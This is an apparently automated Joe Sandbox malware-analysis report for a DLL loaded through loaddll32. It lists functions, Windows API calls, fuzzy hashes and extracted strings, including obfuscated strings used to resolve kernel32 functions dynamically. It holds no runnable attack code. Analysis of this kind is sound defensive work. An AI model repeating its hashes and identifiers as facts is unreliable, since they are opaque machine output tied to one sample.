Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 48c659a4f99ffa812259cfc15642d4d02fab605e0a4f20dbbd566754921c5c27
Instruction ID: 2ab8c7dcad71b63f5bc93a94c02e63098ee201b21f9150d3ee47756a6c491e5d
Opcode Fuzzy Hash: 48c659a4f99ffa812259cfc15642d4d02fab605e0a4f20dbbd566754921c5c27
Instruction Fuzzy Hash: 9231C374D5122CABCB21DF24D889B8DBBB8BF19314F5042EAE81CA7254E7749B858F44

Function 6B93B869 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6B93B864,?,?,00000008,?,?,6B93B467,00000000), ref: 6B93BA96

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: f331f0ffcdc5d523f9a374747060ceb9eee4e469a90c020f5516c6c51b459856
Instruction ID: 1fb00d3bd56313ea26e057a6c5eb111f5cdf2cc0984b4e1aff8978869b7022e5
Opcode Fuzzy Hash: f331f0ffcdc5d523f9a374747060ceb9eee4e469a90c020f5516c6c51b459856
Instruction Fuzzy Hash: 21B14931610A199FD705CF28C496B557BF0FF45368F258698E8E9CF2A2C739E982CB40

Function 6B9255EB Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6B925601

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a7c2fabdede60367e5803024d77d547bb9d1434c2965767c2415d3a533a9d1bc
Instruction ID: 71a0c2ed726251f0b718330fa641dd1ae9c894433e3d7be54992491244876719
Opcode Fuzzy Hash: a7c2fabdede60367e5803024d77d547bb9d1434c2965767c2415d3a533a9d1bc
Instruction Fuzzy Hash: 83515BB1E25206DFDB04DF59C98179ABBF8FB45314F2081BAD522EB258D379D940CB50

Function 6B9338F4 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c8fcf137131e0b8e7dab388f3b1f495069b49bf235c31c93e60f85a36a4d00
Instruction ID: 42c6dd2570f35e79b972dc8c0fc81ea312bb5d477d14164b35fbbff26580b7cf
Opcode Fuzzy Hash: a1c8fcf137131e0b8e7dab388f3b1f495069b49bf235c31c93e60f85a36a4d00
Instruction Fuzzy Hash: 834183B5C4822CAEDB24DF79CC99AAAB7B9EF45304F1442D9E419D3201D6389A848F50

Function 6B934AF5 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6B934AF5

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: b39b4548e37b4f76c4f89ec703d4966dd431968086c3be6eba8fdb1c57b7fc6b
Instruction ID: c7117f073d88106efc4b848bb83f610241fb91044f0048ae1446734e1f9cdd39
Opcode Fuzzy Hash: b39b4548e37b4f76c4f89ec703d4966dd431968086c3be6eba8fdb1c57b7fc6b
Instruction Fuzzy Hash: A3A02230B0A20CEF8F20AF30830830C3EEEBF0BAC03020838E008C0220EB38C000AB00

Function 6B92B71C Relevance: .4, Instructions: 385COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d469258a59becf634f4ea069aacd27947fbda3dba30713a4d02c287a3ca2714
Instruction ID: 7b839641719497cbd3ba878e71d05ed70be613e0a0f525335912a8c4e69fdccf
Opcode Fuzzy Hash: 3d469258a59becf634f4ea069aacd27947fbda3dba30713a4d02c287a3ca2714
Instruction Fuzzy Hash: BED12334E20606CFDB14CF68C480A6AB7F9FF09718F10869DD56A9B699D339E942CF41

Function 6B92B3BD Relevance: .3, Instructions: 333COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6dc443e58fd324b51c172f0af945689e93eb17efce0d2875b1b9d7c01c34227
Instruction ID: 4d3e71a0851d1c54071b2a2ea4fba9887ca1eec5f89972d65b5f68f8975d33e6
Opcode Fuzzy Hash: f6dc443e58fd324b51c172f0af945689e93eb17efce0d2875b1b9d7c01c34227
Instruction Fuzzy Hash: 01C13330D24B068FCB10CF38C5D0B6ABBF9EF06318F104699D5669B6A9D339E945CB51

Function 6B92B07B Relevance: .3, Instructions: 318COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b7e8f7abb09e80ae1cb32804da98c13a2cf576e290094d051885328dde05c4a
Instruction ID: c0fcba7dc39634ff693abb9759ec4b1ad0d2a25633bebb75855cd3446e02afdd
Opcode Fuzzy Hash: 9b7e8f7abb09e80ae1cb32804da98c13a2cf576e290094d051885328dde05c4a
Instruction Fuzzy Hash: 26B1F271D2070A8BCB14CE78C9917AEB7F9AF06308F10865DD4629769DC73DE602CB55

Function 6B92171F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 174libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6B92175A
_strlen.LIBCMT ref: 6B92177C
GetProcAddress.KERNEL32(?), ref: 6B9217E2
_strlen.LIBCMT ref: 6B92180D
GetProcAddress.KERNEL32(?), ref: 6B921873
_strlen.LIBCMT ref: 6B92189E
GetProcAddress.KERNEL32(?), ref: 6B921904

Strings

QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>, xrefs: 6B921765
QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>, xrefs: 6B921887
QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>, xrefs: 6B9217F6
kernel32.dll, xrefs: 6B921755

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: AddressProc_strlen$HandleModule
String ID: QdAsBD7BYBADBDhB`dAyBKRBQdAsBDtBYRA[BB>>$QdAsBD7BYBALBDVBfBA3BFZBbRApBDVBUtB>$QtAoBKRBQRAvBKZBbRAzBD;BadAwBDVBadA3BEZBZRAzBDhBZRAjBDtBYRA[BB>>$kernel32.dll
API String ID: 3538810943-2765630095
Opcode ID: 3b23a31f3f7e6572cf457c9bc9561bd2dea6426544d9447474397c7098eaa759
Instruction ID: ce8c396184ce214914b993feb1510cb62cc3aec61102cc8aa7fe6226b6990d0e
Opcode Fuzzy Hash: 3b23a31f3f7e6572cf457c9bc9561bd2dea6426544d9447474397c7098eaa759
Instruction Fuzzy Hash: 8D613571C1425CDFDB20DFB8CC85AACBBB8BF1A308F244129E554A7286DB3999198F01

Function 6B938279 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6B937FC0: CreateFileW.KERNEL32(00000000,00000000,?,6B938322,?,?,00000000,?,6B938322,00000000,0000000C), ref: 6B937FDD

GetLastError.KERNEL32 ref: 6B93838D
__dosmaperr.LIBCMT ref: 6B938394
GetFileType.KERNEL32(00000000), ref: 6B9383A0
GetLastError.KERNEL32 ref: 6B9383AA
__dosmaperr.LIBCMT ref: 6B9383B3
CloseHandle.KERNEL32(00000000), ref: 6B9383D3
CloseHandle.KERNEL32(00000000), ref: 6B938520
GetLastError.KERNEL32 ref: 6B938552
__dosmaperr.LIBCMT ref: 6B938559

Strings

H, xrefs: 6B9384DE

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: be70d08520aeb69707d408ed357f40eed79170eb9acd7def974ce815a38faae7
Instruction ID: 807a757ae3b42ecf445c442c00595c24f5042aef406513a77a8d3eda6ae5876d
Opcode Fuzzy Hash: be70d08520aeb69707d408ed357f40eed79170eb9acd7def974ce815a38faae7
Instruction Fuzzy Hash: 24A10432A181689FCF0D9F78DC91BAE3BB5AB07328F140199E811DB391D739D912CB51

Function 6B926ADA Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6B926BF9
___TypeMatch.LIBVCRUNTIME ref: 6B926D07
_UnwindNestedFrames.LIBCMT ref: 6B926E59
CallUnexpected.LIBVCRUNTIME ref: 6B926E74

Strings

csm, xrefs: 6B926B17
csm, xrefs: 6B926B84
csm, xrefs: 6B926C30

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 71554bfc40be0ce4108119d35eadc3893968852a605a60ae71963c1364fc7a93
Instruction ID: 1609b9ef8ebad49ed1ae5f069740ae30479473e5c851e240902f04d18ce7597f
Opcode Fuzzy Hash: 71554bfc40be0ce4108119d35eadc3893968852a605a60ae71963c1364fc7a93
Instruction Fuzzy Hash: 3BB1D131C20209EFCF05DFA4D88199EBBB9FF14318F104599E8146BA19D739EA61CFA1

Function 6B93068D Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6B930713

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 5b196b74059184e9b8e0842bd6eede7b04aae286f8f0b9da0e097125ac15f892
Instruction ID: 1745e0d36ecd731addfa7351990f206e7d4dc897119c76bc1e8179a24bb1c4e0
Opcode Fuzzy Hash: 5b196b74059184e9b8e0842bd6eede7b04aae286f8f0b9da0e097125ac15f892
Instruction Fuzzy Hash: 6DB15632E043759FEB01CF68CC91BAE7BB9EF56714F144195E844AB282D378D901CBA1

Function 6B926540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6B926577
___except_validate_context_record.LIBVCRUNTIME ref: 6B92657F
_ValidateLocalCookies.LIBCMT ref: 6B926608
__IsNonwritableInCurrentImage.LIBCMT ref: 6B926633
_ValidateLocalCookies.LIBCMT ref: 6B926688

Strings

csm, xrefs: 6B92661D

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 75f13b950e55ac2d2d4a510b06fcb24d9c13b4b57bbfa81878f8996787d2e4bb
Instruction ID: 32c6f4688cf0c9946b47b04fab55f2fcc7094833a203cec5e5039c8e534750ca
Opcode Fuzzy Hash: 75f13b950e55ac2d2d4a510b06fcb24d9c13b4b57bbfa81878f8996787d2e4bb
Instruction Fuzzy Hash: C241E934D10218EBCF10DF78C884A9EBBB9BF46318F108195D814AB799DB3DD915CB91

Function 6B931703 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6B931812,6B927D84,B586E81C,00000000,6B92C75A,00000000,?,6B93198B,00000022,FlsSetValue,6B93F4F8,ccs,6B92C75A), ref: 6B9317C4

Strings

api-ms-, xrefs: 6B93175A
ext-ms-, xrefs: 6B93176E

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 8807b64705054b5facbf98b6748f3a2d5ea4cccaf6c7ce84a3b57cf6f314db22
Instruction ID: cf46fd1af83c985b454057415f82144ee3fe95d8c18f2abe2b6394ce1e825740
Opcode Fuzzy Hash: 8807b64705054b5facbf98b6748f3a2d5ea4cccaf6c7ce84a3b57cf6f314db22
Instruction Fuzzy Hash: 9021E735E45134B7DB21AB748C80A4A37ADEF43760B280260EA17A73B4D738ED01C6D0

Function 6B92FE17 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74d645d8e6671a19f3d6b2e6cd53d8b8b41f5434496b9f2bb604952e40bae49b
Instruction ID: 1e069c1d533a690dba9f61ccdb2de54382d9f4d5b8e80b5dac59c0ac19f345ed
Opcode Fuzzy Hash: 74d645d8e6671a19f3d6b2e6cd53d8b8b41f5434496b9f2bb604952e40bae49b
Instruction Fuzzy Hash: C4B12470E08269AFDB01CFA8C891BAE7BB5BF4731CF004199E514AB391D778D941CBA1

Function 6B9267A3 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6B926721,6B9251C4,6B924B74,?,6B924DAC,?,00000001,?,?,00000001,?,6B944240,0000000C,6B924EA5), ref: 6B9267B1
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6B9267BF
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6B9267D8
SetLastError.KERNEL32(00000000,6B924DAC,?,00000001,?,?,00000001,?,6B944240,0000000C,6B924EA5,?,00000001,?), ref: 6B92682A

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6b2e47368bc15be041006d23d70be17a24eb338fc9f8a7e1992b299c989ded0c
Instruction ID: 4d6169c79c67a7150b3ac50f73979c9d820915f1afde0924998c2280c9c9ca51
Opcode Fuzzy Hash: 6b2e47368bc15be041006d23d70be17a24eb338fc9f8a7e1992b299c989ded0c
Instruction Fuzzy Hash: 5E01D476D2D7116EAB102AB66C866162B5DEB93B7C7300279E510515ECEF7DC801C285

Function 6B933DF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\system32\loaddll32.exe, xrefs: 6B933E14

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\system32\loaddll32.exe
API String ID: 0-1062229814
Opcode ID: b09f75953ad386e545090deb20d37ee963bc54d663e6990d6ecc9f2115e3ff55
Instruction ID: fda453353d074f2fef76234507ebb48e8d74cdd9fff0ce34d1e21fd9f5c694eb
Opcode Fuzzy Hash: b09f75953ad386e545090deb20d37ee963bc54d663e6990d6ecc9f2115e3ff55
Instruction Fuzzy Hash: 0E219031A8C225AFDB31DF75DC8095B7BADAF117687004564FD2897250EB38EC50C7A0

Function 6B92E429 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,FB32F76A,6B92C75A,?,00000000,6B93C710,000000FF,?,6B92E3C3,B586E81C,?,6B92E397,?), ref: 6B92E45E
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6B92E470
FreeLibrary.KERNEL32(00000000,?,00000000,6B93C710,000000FF,?,6B92E3C3,B586E81C,?,6B92E397,?), ref: 6B92E492

Strings

CorExitProcess, xrefs: 6B92E468
mscoree.dll, xrefs: 6B92E457

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 005a5bb057b3087d08290b914d4d80b3ac7a5c11022cde4666a6c734d70ecacc
Instruction ID: 93150c006080d9b96ee65540aa8132dfac739574b264d8c55f8b58510a51526d
Opcode Fuzzy Hash: 005a5bb057b3087d08290b914d4d80b3ac7a5c11022cde4666a6c734d70ecacc
Instruction Fuzzy Hash: 3B016235968A29BBDF119B51CC48BAE7BB8FF45B51F004665E821A2390DB78D900CA90

Function 6B938CF4 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6B938D79
__alloca_probe_16.LIBCMT ref: 6B938E42
__freea.LIBCMT ref: 6B938EA9

Part of subcall function 6B93047E: RtlAllocateHeap.KERNEL32(00000000,6B934371,7D32887D,?,6B934371,00000220,?,6B921775,7D32887D), ref: 6B9304B0

__freea.LIBCMT ref: 6B938EBC
__freea.LIBCMT ref: 6B938EC9

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: e5a2498ca219f85b277288760b1860d736c642fae45eca197516eb4dbc971e91
Instruction ID: bb5687ed8dd453546ba5c064f4059def76ce5d8c8d347d79de7a93afc8a81616
Opcode Fuzzy Hash: e5a2498ca219f85b277288760b1860d736c642fae45eca197516eb4dbc971e91
Instruction Fuzzy Hash: 3B51F372A00226AFEB299F64CCC5EAB3BBDEF94718B110569FD14D6250EB38DC508760

Function 6B9278B2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6B927863,00000000,?,00000001,?,?,?,6B927952,00000001,FlsFree,6B93DCE0,FlsFree), ref: 6B9278BF
GetLastError.KERNEL32(?,6B927863,00000000,?,00000001,?,?,?,6B927952,00000001,FlsFree,6B93DCE0,FlsFree,00000000,?,6B926878), ref: 6B9278C9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6B9278F1

Strings

api-ms-, xrefs: 6B9278D6

Memory Dump Source

Source File: 00000000.00000002.2078908385.000000006B921000.00000020.00000001.01000000.00000003.sdmp, Offset: 6B920000, based on PE: true

Associated: 00000000.00000002.2078893804.000000006B920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078928333.000000006B93D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078945156.000000006B946000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2078960672.000000006B948000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b920000_loaddll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: aad5e9a581f097f0104f3c62fe998473158f2a9d2a84a25f880a9eb89a918e8c
